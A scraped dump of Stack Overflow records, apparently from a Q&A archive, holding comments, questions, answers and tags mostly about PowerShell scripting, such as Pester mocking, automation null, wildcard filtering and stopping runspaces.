has text: @SantiagoSquarzon - mklement0 suggests below that in this case, that isn't available. You know otherwise?
score: 0
comment on: http://stackoverflow.com/q/79392142
type: QuestionComment

http://stackoverflow.com/comment/139853044
type: AnswerComment
has text: @mklement0 unfortunately I can't accept two answers at the same time, but because of the second answer and additional tests for now I know that 1) My program doesn't work in UTF-BOM at all, and works in bomless utf8 in latin alphabet. But it doesn't work in bomless utf8 in cyrillic. 2) It works only in chcp 1251, which also corrupts cyrillic for the windows notebook only visually, but the program starts normally. It was the head pain for me not so long ago but now its fascinating.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730

http://stackoverflow.com/comment/139845093
type: Comment
comment on: http://stackoverflow.com/q/79303993
score: 1
has text: UTF-8 console input is broken in Windows (or was broken until recently). UTF-16 however has always worked (with wchar_t).
type: QuestionComment

http://stackoverflow.com/comment/139841930
score: 0
has text: Thanks Sr, it looks good but im getting the following message: `Program 'pwsh.exe' failed to run: The filename or extension is too longAt C:\Users\3202862\OneDrive\Desktop\Script\RestartApp\Restart.ps1:18 char:5 + pwsh.exe -noprofile $scriptBlock -args $PSBoundParameters, (@(), ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.`
type: AnswerComment
comment on: http://stackoverflow.com/a/79299725
type: Comment

storage
tag name: storage
type: Tag
tags question: http://stackoverflow.com/q/79307364
tags question: http://stackoverflow.com/q/79526303
tags question: http://stackoverflow.com/q/79433736

choco
type: Tag
tag name: choco
tags question: http://stackoverflow.com/q/79370205

http://stackoverflow.com/comment/139917953
has text: And you're completely sure the variable `$(VariablesObject1)` is set when running the `AzurePowerShell@5` task? If you add a dummy task to print that variable value is displayed correctly?
score: 0
comment on: http://stackoverflow.com/q/79343590
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139970280
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79352275
type: AnswerComment
has text: @PhilipJambrisak can you accept the answer then?

http://stackoverflow.com/comment/139846043
comment on: http://stackoverflow.com/q/79303993
has text: Are you using the [`/utf-8`](https://learn.microsoft.com/en-us/cpp/build/reference/utf-8-set-source-and-executable-character-sets-to-utf-8?view=msvc-170) compiler flag?
type: QuestionComment
type: Comment
score: 0

parallel.foreach
type: Tag
tag name: parallel.foreach
tags question: http://stackoverflow.com/q/79299022
tags question: http://stackoverflow.com/q/79364722

http://stackoverflow.com/comment/139746515
type: Comment
comment on: http://stackoverflow.com/a/79248980
has text: @SantiagoSquarzon Yep. I used that answer as inspiration, I didn't even know that was possible until you posted it. But it's rather a different situation. In that answer the first runspace opened with `Start-Process` is just an idle console rather than executing powershell whose execution of `clean{}` blocks is in question.
score: 0
type: AnswerComment

http://stackoverflow.com/a/79381879
accepted answer of: http://stackoverflow.com/q/79381836
type: AcceptedAnswer
upvote count: 4
type: Answer
score: 4
downvote count: 0
answers question: http://stackoverflow.com/q/79381836
has body: You have one cmdlet that produces output by default (New-Item) and other cmdlet that produces no output (Move-Item) unless you use -PassThru. So if you coerce to bool the output from New-Item you would get true. Most objects, when coerced to bool are true there are some exceptions of course. [bool] (New-Item -Type Directory -Path foo) # True And since, as explained before, Move-Item produces no output, when coerced it will give you false: [bool] (Move-Item -Path foo -Destination bar) # False And from there it's a simple comparison that will result into false: $true -and $false If you were using -PassThru and the operation succeeded then the comparison would've been true: (New-Item -Type Directory -Path foo) -and (Move-Item -Path foo -Destination bar -PassThru) Regarding the last update to the question, pipeline chain operators &amp;&amp; and || exist in PowerShell 7, however these are usually used for external commands not for cmdlets. I wouldn't consider the example above using (cmdlet) -and (cmdlet) closer either. # Is valid in PowerShell 7 New-Item -Type Directory -Path foo &amp;&amp; Move-Item -Path foo -Destination bar Probably using -ErrorAction common parameter or $ErrorActionPreference set to Stop, then using pipelines could be the closest to &amp;&amp;. When the preference is Stop, the execution of a script, unless handled by a try / catch, ends immediately if there is an error and in turn the upstream command in pipeline never runs. # Move-Item never runs if New-Item fails due to the action preference New-Item -Type Directory -Path foo -ErrorAction Stop | Move-Item -Destination bar

http://stackoverflow.com/comment/139811252
score: 0
has text: @IanKemp Yes, I've tried a few different versions, same error
comment on: http://stackoverflow.com/q/79278902
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79360258
answer count: 1
has comment: http://stackoverflow.com/comment/139950426
has body: I have two variables being populated by different commands. Both contain multiple subsets of values: The output of both variables looks like the following (property name and value): VAR1: id = 100 code = AAA id = 200 code = BBB id = 300 code = CCC VAR2: id = 100 name = John id = 200 name = Joe id = 300 name = Jack What I am trying to do is output all the values from VAR1.id, VAR1.num, and VAR2.name. The values of VAR1.id and VAR2.id should be compared to determine the correct match for VAR2.name. I have tried outputting the values using a select statement with an 'expression' to return the value of VAR2.name by comparing VAR1.id and VAR2.id. I have tried multiple iterations of the commands below: $VAR1 | select-object id,num,@{Name='name';Expression={$VAR2 | where-object { id -eq "$_.id"} | select -ExpandProperty name }} $VAR1 | select-object id,code,@{Name='name';Expression={$VAR2 | Where-Object {$VAR2.id -eq "$_.id"} | select -ExpandProperty name}} My expected output is something like: id code name 100 AAA John 200 BBB Joe 300 CCC Jack However, I do not get anything returned in the name field. When I try with the value/string directly I do get the expected output. Hope this makes sense. Any assistance is appreciated. Thanks!
has answer: http://stackoverflow.com/a/79360276
tagged with: powershell
linked to: http://stackoverflow.com/q/1848821
score: 0
type: UnansweredQuestion
has title: Outputting values from two variables using 'Select with Expressions' and a comparison
duplicate of: http://stackoverflow.com/q/1848821
type: Question

http://stackoverflow.com/q/79316429
score: 0
has comment: http://stackoverflow.com/comment/139866665
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139870413
has comment: http://stackoverflow.com/comment/139867551
duplicate of: http://stackoverflow.com/q/59110563
has body: How to provide output of a file for the next command in windows? For example I want to decode a raw binary file into a protobuf output. How do I do it? cat simple.bin | protoc --decode_raw
has comment: http://stackoverflow.com/comment/139870435
upvote count: 1
favorite count: 0
tagged with: protocol-buffers
has title: How to write "cat simple.bin | protoc --decode_raw" in windows?
type: Question
linked to: http://stackoverflow.com/q/59110563
has comment: http://stackoverflow.com/comment/139866648
answer count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139866662
has comment: http://stackoverflow.com/comment/139868582
downvote count: 1

http://stackoverflow.com/a/79300085
upvote count: 1
answers question: http://stackoverflow.com/q/79296217
score: 1
has body: This question was originally (and reasonably) closed as a duplicate of the following questions: Why is an empty PowerShell pipeline not the same as null? Why is piping null to set-variable causing different outcomes? However @mklement0 and others provide a lot of details in comments in this question which deserve to be captured in a more visible and collected answer, though they may be repeated somewhat in mklement0's answers to the other questions. As I (OP) am the learner in this situation, feel free to edit the answer/provide corrections. The core of this question (and the linked duplicates) revolves around the technical differences between $null and "automation null" ([System.Management.Automation.Internal.AutomationNull]::Value), a.k.a. "the enumerable null". To answer the direct questions in the OP: What is the difference between $a and $c in this situation? $a is $null, while $c is automation null. Automation null is returned via a pipeline that has no results, which can be achieved in different ways, as demonstrated by the different questions: Get-Process | Where-Object { $_.Name -eq "oiawmij3209j23oifnoeicn" } 1,2,3,4 | ? { $_ -ge 5 } & { } Why does $c.PSObject.Copy() work when $a.PSObject.Copy() doesn't? Because $c, as automation null is technically a [PSObject] with a PSObject property, while $a is just $null. However the fact that $c.PSObject can be accessed is arguably a bug, see further context below. Why does $c.PSObject.Copy() work when $c.GetType() doesn't? In the former context you are simply accessing an existing property of $c. The latter context is an expression, where $c is effectively being evaluated to $null, and is thus equivalent to $null.GetType(). What causes this? Is it something to do with Where-Object, or to do with PSObject.Copy(), or something else? As noted, automation null is being returned by the pipeline where Where-Object returns no results. How can I/should I reliably differentiate between/test for these cases? In the current i…
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79296217
downvote count: 0
type: Answer

http://stackoverflow.com/q/79272293
downvote count: 1
score: 0
type: UnansweredQuestion
upvote count: 1
favorite count: 0
tagged with: windows-subsystem-for-linux
tagged with: node.js
has answer: http://stackoverflow.com/a/79388071
type: Question
has comment: http://stackoverflow.com/comment/139788864
has title: Node works in Powershell but not Ubuntu
answer count: 1
has body: When I run node -v in PowerShell I get v22.11.0 but when I run the same command in Ubuntu I get Command 'node' not found. npm -v works for both. Ubuntu was installed as part of the WSL installation. Which I installed after I had already installed Node nodejs folder is in the path environment variable. the only difference between npm and Node is npm is installed in my user account and Node is installed system-wide Why would the same command on the same computer work for PowerShell but not Ubuntu? Is this anything to worry about or normal functionality?
tagged with: powershell

http://stackoverflow.com/comment/139739595
comment on: http://stackoverflow.com/a/79245359
type: Comment
score: 0
has text: Nice, but you don't need to construct a return array, which is in efficient - just let the `foreach` loop implicitly output all paths directly, as in the [Gist](https://gist.github.com/SeeminglyScience/3dd4744a2ef046fe9c4d8245f254c577) you adapted the code from. Also, please consider formatting your code using proper indentation.
type: AnswerComment

http://stackoverflow.com/a/79416009
answers question: http://stackoverflow.com/q/79415861
has body: If the original method is being invoked then the -ParameterFilter conditions are not being met. Try changing the parameter filter to argument names instead of $_.<Argument> Mock New-Object -ParameterFilter { $TypeName -eq "OfficeOpenXml.ExcelPackage" }
type: Answer
has comment: http://stackoverflow.com/comment/140056042
has comment: http://stackoverflow.com/comment/140056005
accepted answer of: http://stackoverflow.com/q/79415861
score: 0
has comment: http://stackoverflow.com/comment/140055992
type: AcceptedAnswer

http://stackoverflow.com/comment/140055519
comment on: http://stackoverflow.com/q/79415674
score: 0
type: QuestionComment
has text: Fixed the comma issue in my sample code. It is a string, yes (also fixed). I think there would be more lines to doing split and join, no? But happy to be provided an example of what is meant with my dataset.
type: Comment

http://stackoverflow.com/comment/139847912
type: AnswerComment
comment on: http://stackoverflow.com/a/79293565
has text: Tested adding the body variable and receiving email with disk % gray instead of red/white. So the write to disk works without the new email handler. I'll create a new thread with complete code. One last try (isn't that a pop song?)
type: Comment
score: 0

http://stackoverflow.com/comment/139946304
has text: This didn't work and provided empty value when verifying if variables are being passed by running `Write-Host $(VariablesObject1)`
type: Comment
comment on: http://stackoverflow.com/a/79343934
score: 0
type: AnswerComment

http://stackoverflow.com/a/79326967
answers question: http://stackoverflow.com/q/79326343
score: 2
upvote count: 2
downvote count: 0
has body: I think Mark Wragg's suggestion of a stub function is probably the most straight-forward way to work around the issue. However, I did discover a work-around using mocked functions: Describe 'Get-Result' { BeforeAll { $names = @('Name 1', 'Name 2', 'Name 3', 'Name 4') $finalInputValue = $names[-1] # The work-around: Two mocks, one that returns nothing for all input values # apart from the last one, the other that returns the required output # when the last input value is received from the pipeline. # The first mock, that returns nothing, is needed otherwise Pester will # call the original un-mocked function for those input values. Mock Get-NameInfo { } ` -ParameterFilter { $FeatureName -ne $finalInputValue } Mock Get-NameInfo { return @{ InputNames = $names; InputCount = 4 } } ` -ParameterFilter { $FeatureName -eq $finalInputValue } } It 'doesn''t return an array' { $result = Get-Result $names # No error. $result -is [System.Object[]] | Should -BeFalse } It 'returns a single hashtable' { $result = Get-Result $names $result -is [System.Collections.HashTable] | Should -BeTrue } } The work-around was to use two mocks. One returns nothing for all input values apart from the last one. The second returns the required output when the last input value is received from the pipeline. This assumes you can determine what the last input value passed into the mocked function will be. In a lot of cases, because you're controlling the inputs of the tests, you will know that last value. EDIT: Here's a sample test implementation using a stub function, as per Mark's suggestion: Describe 'Get-Result' { BeforeAll { $names = @('Name 1', 'Name 2', 'Name 3', 'Name 4') function Get-NameInfo ( [Parameter(ValueFromPipeline = $true, Mandatory = $true)] [string]$FeatureName ) { end { return @{ InputNames = $names; InputCount = 4 } } } } It 'doesn''t return an array' { $result = Get-Result $names $result -is [System.Object[]] | Should -BeFalse } It 'returns a single hashtable' { $result = Get-Res…
type: Answer

http://stackoverflow.com/a/79335176
score: 0
has comment: http://stackoverflow.com/comment/139902190
has body: Create an Azure function app with Premium Pricing Plan and Runtime stack Powershell 7.4 version . requirements.ps1: @{ 'Az' = '13.*' 'PnP.PowerShell' = '2.12.0' } host.json: { "version": "2.0", "logging": { "applicationInsights": { "samplingSettings": { "isEnabled": true, "excludedTypes": "Request" } } }, "managedDependency": { "enabled": true }, "extensionBundle": { "id": "Microsoft.Azure.Functions.ExtensionBundle", "version": "[4.*, 5.0.0)" } } Deployed the function to Azure: Able to run the deployed function in Portal successfully: 2025-01-07T07:01:56Z [Verbose] AuthenticationScheme: WebJobsAuthLevel was successfully authenticated. 2025-01-07T07:01:56Z [Verbose] AuthenticationScheme: Bearer was not authenticated. 2025-01-07T07:01:56Z [Verbose] Authorization was successful. 2025-01-07T07:01:56Z [Information] Executing 'Functions.HttpTrigger' (Reason='This function was programmatically called via the host APIs.', Id=2a08447d-fa97-4322-9a6a-6112dbc62e3f) 2025-01-07T07:01:56Z [Verbose] Sending invocation id: '2a08447d-fa97-4322-9a6a-6112dbc62e3f 2025-01-07T07:01:56Z [Verbose] Posting invocation id:2a08447d-fa97-4322-9a6a-6112dbc62e3f on workerId:fe54a398-cf82-48e5-90bc-b871e0222496 2025-01-07T07:01:56Z [Information] INFORMATION: PowerShell HTTP trigger function processed a request. 2025-01-07T07:01:57Z [Information] Executed 'Functions.HttpTrigger' (Succeeded, Id=2a08447d-fa97-4322-9a6a-6112dbc62e3f, Duration=400ms)
has comment: http://stackoverflow.com/comment/139902818
has comment: http://stackoverflow.com/comment/139902805
has comment: http://stackoverflow.com/comment/139902203
has comment: http://stackoverflow.com/comment/139902514
type: Answer
answers question: http://stackoverflow.com/q/79333188
has comment: http://stackoverflow.com/comment/139902762
has comment: http://stackoverflow.com/comment/139902462

http://stackoverflow.com/a/79298593
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79298131
score: 3
accepted answer of: http://stackoverflow.com/q/79298131
upvote count: 3
has body: Both the -Include and -Exclude parameters of provider cmdlets such as Get-ChildItem expect wildcard expressions that must match the names of the input items in full. Thus, assuming the following: all files to match have a filename extension; to not enact this constraint, replace *.* with just * below. the base file name (the part before the extension) may either start with 4 digits, followed by arbitrary additional characters or comprise 4 digits only you can use [0-9][0-9][0-9][0-9]*.* In the context of your command: Get-ChildItem -Recurse -File -LiteralPath D:\testDigits -Include [0-9][0-9][0-9][0-9]*.* | Copy-Item -Destination D:\transferTo\ Note that you then do not need an -Exclude argument too. Caveat: Due to your use of -Recurse, -Include and -Exclude do behave as expected, but in non-recursive processing they exhibit unintuitive behavior - see the bottom section of this answer. If you need more sophisticated matching, use the approach suggested by Daniel: Use post-filtering, by way of the Where-Object cmdlet... ... in combination with the regex-based -match operator The - slower - (near-)equivalent of the above is: Get-ChildItem -Recurse -File -LiteralPath D:\testDigits | Where-Object Name -match '^[0-9]{4}' Copy-Item -Destination D:\transferTo\ Note: Unlike wildcard expressions, which match against the input string in full, regexes match substrings by default. The ^ in regex ^[0-9]{4} ensures that four ({4}) decimal digits ([0-9]) only match at the start of each input string. As such, the above would also match extension-less files, unlike the [0-9][0-9][0-9][0-9]*.* wildcard expression, but like the [0-9][0-9][0-9][0-9]* variant. Requiring a file-name extension would require a more complex regex, such as ^[0-9]{4}[^.]*\.. Note: \d is a commonly used shortcut class to refer to a digit, though, strictly speaking, it also matches what characters classified as digits in different scripts across the entire Unicode "alphabet", which aren't just the ASCII-range 0…

http://stackoverflow.com/comment/139863621
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79314603
type: Comment
has text: Nice. It's implicit in your answer, but just to call it out - ```struct``` types inherit from ```System.ValueType```, so structs don't fall foul of this issue. Useful to know if, like me, you were investigating this issue using ```System.Guid``` as a control case, thinking it was a class not a struct :-).

http://stackoverflow.com/comment/139951399
type: QuestionComment
type: Comment
score: 0
has text: Did you read the post by MsJinLea?
comment on: http://stackoverflow.com/q/79352193

http://stackoverflow.com/a/79419400
type: Answer
answers question: http://stackoverflow.com/q/79416192
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/140062690
score: 3
has comment: http://stackoverflow.com/comment/140062887
has body: Why Use [PSObject] Type Casting Generally, do NOT use [psobject] casts: In most cases, it is at best an unnecessary, virtual no-op and at worst results in unexpected behavior. [psobject] is a meant-to-be-invisible helper type used behind the scenes to transparently wrap instances of (other) .NET types. It is for this reason that a [psobject] instance that wraps an instance of a .NET type acts just like the latter, as you've observed, and it is only a -is [psobject] test that reveals whether you're dealing with a [psobject]-wrapped object or not. Thus, a [psobject] cast is - in most cases - a no-op.[1] Unfortunately, however, the implementation of this conceptually transparent wrapper is leaky, resulting in situationally different behavior if such a wrapper is present: for details and a list of such situations, see GitHub issue #5579. However, implicitly created [psobject] wrappers cannot be avoided: Notably, all objects output to the success stream by binary cmdlets are [psobject]-wrapped (which implies that objects created with New-Object are wrapped, unlike ones created with the intrinsic, static ::new() method). Also, objects received via the pipeline that bind to an untyped aka [object]-typed parameter are wrapped, whether or not they are received by a binary cmdlet or a PowerShell function or script block; additionally, many built-in cmdlets explicitly type their "untyped" parameters as [psobject]. See this answer for details. What DOES make sense is to cast a hashtable or its ordered variant ([ordered]) to [pscustomobject] rather than [psobject], in order to construct a [pscustomobject] instance, PowerShell's "property bag" type (i.e., an object with dynamically defined properties): Note that, technically, [psobject] and [pscustomobject] refer to the same type, System.Management.Automation.PSObject, but only [pscustomobject] (meaningfully) supports casting from (ordered) hashtables, most typically in the form of a literal definition, where a hashtable literal …

http://stackoverflow.com/a/79267324
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79265704
answers question: http://stackoverflow.com/q/79265704
downvote count: 0
type: Answer
has body: The Write-EventLog command seems to be limited in regards to passing provider-specific parameters with a message. You can use the .NET API System.Diagnostic.EventLog instead: # Create an EventLog instance for the Application log $eventLog = [System.Diagnostics.EventLog]::new('Application') $eventLog.Source = 'Application Error' # Write the event with parameters $eventLog.WriteEvent( [System.Diagnostics.EventInstance]::new(1000, 0, [System.Diagnostics.EventLogEntryType]::Error), @( 'DummyApp.exe', # Application name '1.2.3.4', # Application version '12345678', # Time stamp 'dummyModule.dll', # Faulting module name '2.3.4.5', # Module version '87654321', # Module time stamp 'c0000005', # Exception code '0000000000012345', # Fault offset '0x1234', # Process ID '0x5D3E7F22', # Application start time 'C:\Program Files\DummyApp\DummyApp.exe', # Application path 'C:\Windows\System32\dummyModule.dll', # Module path 'dummy-report-id', # Report ID 'dummy-package-name', # Faulting package full name 'dummy-app-id' # Faulting package-relative application ID ) )
score: 3
upvote count: 3

http://stackoverflow.com/a/79249620
has comment: http://stackoverflow.com/comment/139752723
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139752507
has body: As discussed extensively in comments from your own answer, an approach that would work consistently for a PowerShell process (including Jobs) that would allow to invoke their clean block is via connecting to the process using a NamedPipeConnectionInfo and calling CloseAsync() on the process runspaces that are not the DefaultRunspace. This seem to work consistently however it's important to note that if the process is invoking a .NET method that doesn't allow interrupts (i.e.: Thread.Sleep(-1)) then this fails. using namespace System.Management.Automation function Stop-PowerShell { param( [Parameter(Mandatory, ValueFromPipeline)] [System.Diagnostics.Process] $Process, [Parameter()] [ValidateRange(1, [int]::MaxValue)] [int] $TimeoutSeconds = 10) process { try { $pipe = [Runspaces.NamedPipeConnectionInfo]::new($Process.Id) $rs = [runspacefactory]::CreateRunspace($pipe) $rs.Open() $ps = [powershell]::Create($rs).AddScript({ Get-Runspace | Where-Object { $_ -ne [runspace]::DefaultRunspace } | ForEach-Object CloseAsync }) $null = $ps.InvokeAsync() if (-not $Process.WaitForExit([timespan]::FromSeconds($TimeoutSeconds))) { $PSCmdlet.WriteError([ErrorRecord]::new( "Failed to stop PowerShell with Process Id '$($Process.Id)'.", 'StopFailed', [ErrorCategory]::OperationTimeout, $null)) } } catch { $PSCmdlet.WriteError($_) } finally { ${ps}?.Dispose() ${rs}?.Dispose() } } } A variant of this approach could be via reflection, by GetCurrentlyRunningPipeline() and StopAsync(): $ps = [powershell]::Create($rs).AddScript({ $method = [runspace].GetMethod( 'GetCurrentlyRunningPipeline', [System.Reflection.BindingFlags] 'NonPublic, Instance') Get-Runspace | Where-Object { $_ -ne [runspace]::DefaultRunspace } | ForEach-Object { if ($pipeline = $method.Invoke($_, $null)) { $pipeline.StopAsync() } } })
has comment: http://stackoverflow.com/comment/139747273
has comment: http://stackoverflow.com/comment/139752598
answers question: http://stackoverflow.com/q/79248095
type: Answer
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139749314
has comment: http://stackoverflow.com/comment/139752718
score: 2
accepted answer of: http://stackoverflow.com/q/79248095

http://stackoverflow.com/q/79374134
has comment: http://stackoverflow.com/comment/139976014
score: 0
tagged with: ienumerable
type: UnansweredQuestion
has title: [System.IO.Directory]::EnumerateDirectories() returns only the first access denied exception in Powershell
upvote count: 1
has body: I use [System.IO.Directory]::EnumerateDirectories() in PowerShell instead of get-child item mainly because it is faster. But I have noticed that on a System.UnauthorizedAccessException exception returns only the first exception. Is that a bug, or am I doing something wrong?
favorite count: 0
answer count: 2
has answer: http://stackoverflow.com/a/79513542
type: Question
tagged with: exception
tagged with: .net
has comment: http://stackoverflow.com/comment/139977554
has answer: http://stackoverflow.com/a/79374511
tagged with: powershell
downvote count: 1

http://stackoverflow.com/q/79307364
has comment: http://stackoverflow.com/comment/139850688
tagged with: powershell
has comment: http://stackoverflow.com/comment/139850903
answer count: 1
has comment: http://stackoverflow.com/comment/139851379
has title: creating storage replica issue
score: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79313458
has comment: http://stackoverflow.com/comment/139850654
tagged with: storage
has comment: http://stackoverflow.com/comment/139850708
has body: i am trying to create a failover cluster with active/passive configuration. and currently i am using two virtual machines on laptop for this. as i don't have iSCSI, so i am trying to use storage replica for this. i already have installed the storage replica feature, but when i try to exec the following powershell command to prepare for SRpartnership New-SRGroup -ComputerName WIN-cname -Name SourceRG -VolumeName E: -LogVolumeName C: i get the following error New-SRGroup : Unable to create replication group SourceRG, detailed reason: The system cannot find the path specified. At line:1 char:1 + New-SRGroup -ComputerName "WIN-cname" -Name "SourceRG" -VolumeN ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (MSFT_WvrAdminTasks:root/Microsoft/...T_WvrAdminTasks) [New-SRGroup], Ci mException + FullyQualifiedErrorId : Windows System Error 3,New-SRGroup despite that i can navigate to the driver and i can get the volume information through get-volume and also, i can create files there, so there is no privileges issues. note: the volume i am trying to use is created from a shrinked volume. i would appreciate your help.
type: Question
tagged with: windows-clustering

http://stackoverflow.com/q/79397285
has comment: http://stackoverflow.com/comment/140019692
has comment: http://stackoverflow.com/comment/140020659
tagged with: powershell
type: AnsweredQuestion
has title: Delete files in a folder except a list of extensions I specify
has comment: http://stackoverflow.com/comment/140019759
has answer: http://stackoverflow.com/a/79397654
has comment: http://stackoverflow.com/comment/140019704
score: 1
favorite count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/140020087
answer count: 2
has comment: http://stackoverflow.com/comment/140019779
accepted answer: http://stackoverflow.com/a/79397654
type: Question
has answer: http://stackoverflow.com/a/79397370
has body: I'm writing a Powershell 5.1 script that has to delete files from a folder, with a few exceptions. I want to supply the list of exceptions as a parameter. For example: "*.zip, *.log": delete everything except files that have the extension .zip or .log. Seems simple enough: param([string]$folder, [string[]]$exceptions) remove-item "$folder\*" -Recurse -Force -Exclude @($exceptions) To call the script: ps -ExecutionPolicy Unrestricted -File "C:\scripts\deletefiles_custom.ps1" "C:\Test\" -exceptions "*.zip, *.log" I've tried a whole bunch of variations, but nothing works. Either all files are deleted, or no files are deleted. I can get it to work when I specify a single item ("*.zip") as the exception, but it fails when I add the second item. I've tried variations of the call: ps -ExecutionPolicy Unrestricted -File "C:\scripts\deletefiles_custom.ps1" "C:\Test\" -exceptions "'*.zip', '*.log'" Those don't help. How can I get this to work?
downvote count: 0
possible better answer: http://stackoverflow.com/a/79397370

http://stackoverflow.com/q/79406020
has comment: http://stackoverflow.com/comment/140037622
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140037670
tagged with: hashtable
tagged with: powershell
has comment: http://stackoverflow.com/comment/140038408
has answer: http://stackoverflow.com/a/79409105
has answer: http://stackoverflow.com/a/79406753
upvote count: 1
possible better answer: http://stackoverflow.com/a/79409105
answer count: 2
score: 1
tagged with: object-graph
favorite count: 0
accepted answer: http://stackoverflow.com/a/79406753
has title: Powershell hashmap: nested filtering
has body: I’m trying create some automations to help with general activities on an environment and was trying to think of a clean accessible way to store and access info via powershell hashmaps $test=@{ "server1"=@{ "service1"=@{ "filePath"="C:\hi"; "serviceName"="servName1"; "processName"="procName1" ; "group"=@("ALL", "SUBSET" ); "properties1"=@{"prop1"="prop2";}; "properties2"=@{"prop1"="prop2";}; }; "service2"=@{ "filePath"="C:\hi2"; "serviceName"="servName2"; "processName"="procName2" ; "group"=@("ALL"); "properties1"=@{"prop1"="prop2";}; "properties2"=@{"prop1"="prop2";}; }; }; "server2"=@{ "service3"=@{ "filePath"="C:\hi3"; "serviceName"="servName3"; "processName"="procName3" ; "group"=@("ALL", "SUBSET" ) "properties1"=@{"prop1"="prop2";}; "properties2"=@{"prop1"="prop2";}; }; }; }; Above lets me get list of servers, services on a specific server, etc easily but more importantly it gives an easy way to return a filter-down hashmap to get all info e.g. on a particular server etc write-host "list of servers:"; $test.keys; write-host "list of services on server1:"; $test['server1'].keys; write-host "hashmap of services on server1:"; $test['server1']; list of servers: server2 server1 list of services on server1: service2 service1 hashmap of services on server1: Name Value ---- ----- service2 {serviceName, processName, properties1, group…} service1 {serviceName, processName, properties1, group…} hashmap of SUBSET services: server2 {service3} server1 {service1} I’m a little unsure if there is an elegant way to do more tailored filters that are nested much deeper e.g get the hashmap filtered down to only services that have SUBSET in the group name etc write-host "hashmap of SUBSET services:"; #expected result @{ "server1"=@{ "service1"=@{ "filePath"="C:\hi"; "serviceName"="servName1"; "processName"="procName1" ; "group"=@("ALL", "SUBSET" ); "properties1"=@{"prop1"="prop2";}; "properties2"=@{"prop1"="prop2";}; }; }; "server2"=@{ "service3"=@{ "filePath"="C:\hi3"; "serviceName"…
tagged with: hashmap
type: Question
downvote count: 0

http://stackoverflow.com/comment/140014058
comment on: http://stackoverflow.com/a/79394307
score: 1
type: AnswerComment
has text: ooff @user66001 i recommend you get away from ISE, go for VSCode with the PowerShell extension. ISE always has had some weird bugs and is already very old.
type: Comment

http://stackoverflow.com/comment/140024549
type: Comment
has text: Yeah this is unrelated, have a look at the definition of handle: https://en.wikipedia.org/wiki/Handle_(computing)
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79399424

http://stackoverflow.com/comment/140002184
type: Comment
score: 0
has text: `Get-ItemProprty` works correctly, the other two return `en-us`. Pretty amazing this is such a pain. I can't imagine any use case for `Get-Culture` returning anything other than the culture the machine is using. That said, I think I can make the `Get-ItemProperty` option work for my needs. Also, worth noting that yes, I am running the ISE and the script as the same user, though my actual app runs with the RunAsAdministrator flag (for the install portion, not the user config portion), which perhaps complicates things even more.
type: AnswerComment
comment on: http://stackoverflow.com/a/79387067

http://stackoverflow.com/comment/140030389
has text: You bet. Glad to help.
comment on: http://stackoverflow.com/a/79402333
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/79245359
has body: Option A: Stop and restart transcript # # Option A: Stop and restart transcript # try { $OldTranscriptFullName = (Stop-Transcript).Path Start-Transcript -LiteralPath $OldTranscriptFullName -Append -Force } catch { $OldTranscriptFullName = $null } if ($OldTranscriptFullName) { Write-Host "Transcript is active: '$($OldTranscriptFullName)'" } else { Write-Host 'Transcript is not active.' } Option B: Use reflection # # Option B: Use reflection # Based on: # https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/hostifaces/MshHostUserInterface.cs#L667 # https://x.com/SeeminglyScienc/status/933461048329371648 # https://github.com/dataplat/dbatools/issues/2722 # function GetActiveTranscriptPaths { [CmdletBinding()] param() end { $flags = [System.Reflection.BindingFlags]'Instance, NonPublic' $transcriptionData = $Host.Runspace.GetType(). GetProperty('TranscriptionData', $flags). GetValue($Host.Runspace) $transcripts = $transcriptionData.GetType(). GetProperty('Transcripts', $flags). GetValue($transcriptionData) if (-not $transcripts) { return } $returnArray = @() foreach ($transcript in $transcripts) { $returnArray += $transcript.GetType(). GetProperty('Path', $flags). GetValue($transcript) } return $returnArray } } $ActiveTranscriptPaths = GetActiveTranscriptPaths if ($ActiveTranscriptPaths) { Write-host "Number of active transcripts: $($ActiveTranscriptPaths.Count)" Write-Host "Last active transcript: '$($ActiveTranscriptPaths[-1])'" } else { Write-Host 'Transcript is not active.' }
type: Answer
answers question: http://stackoverflow.com/q/79245358
score: 0
has comment: http://stackoverflow.com/comment/139739595

http://stackoverflow.com/comment/139884288
score: 0
comment on: http://stackoverflow.com/q/79325779
has text: Expected Output: PS C:\windows\system32> Get-ADUser -identity test -properties msExchExtensionCustomAttribute2 | select -ExpandProperty m sExchExtensionCustomAttribute2 44 33 22 11 PS C:\windows\system32> I am getting the below output: "Length" "2" "2" "2" "2"
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140030883
comment on: http://stackoverflow.com/a/79401189
has text: @BrandonE `$LASTEXITCODE` is only populated when you call script file (see the documentation). if you invoke powershell code instead of calling a `ps1` it will never be populated
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139970896
type: Comment
comment on: http://stackoverflow.com/a/79343934
has text: @WinBoss any update?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139902462
type: Comment
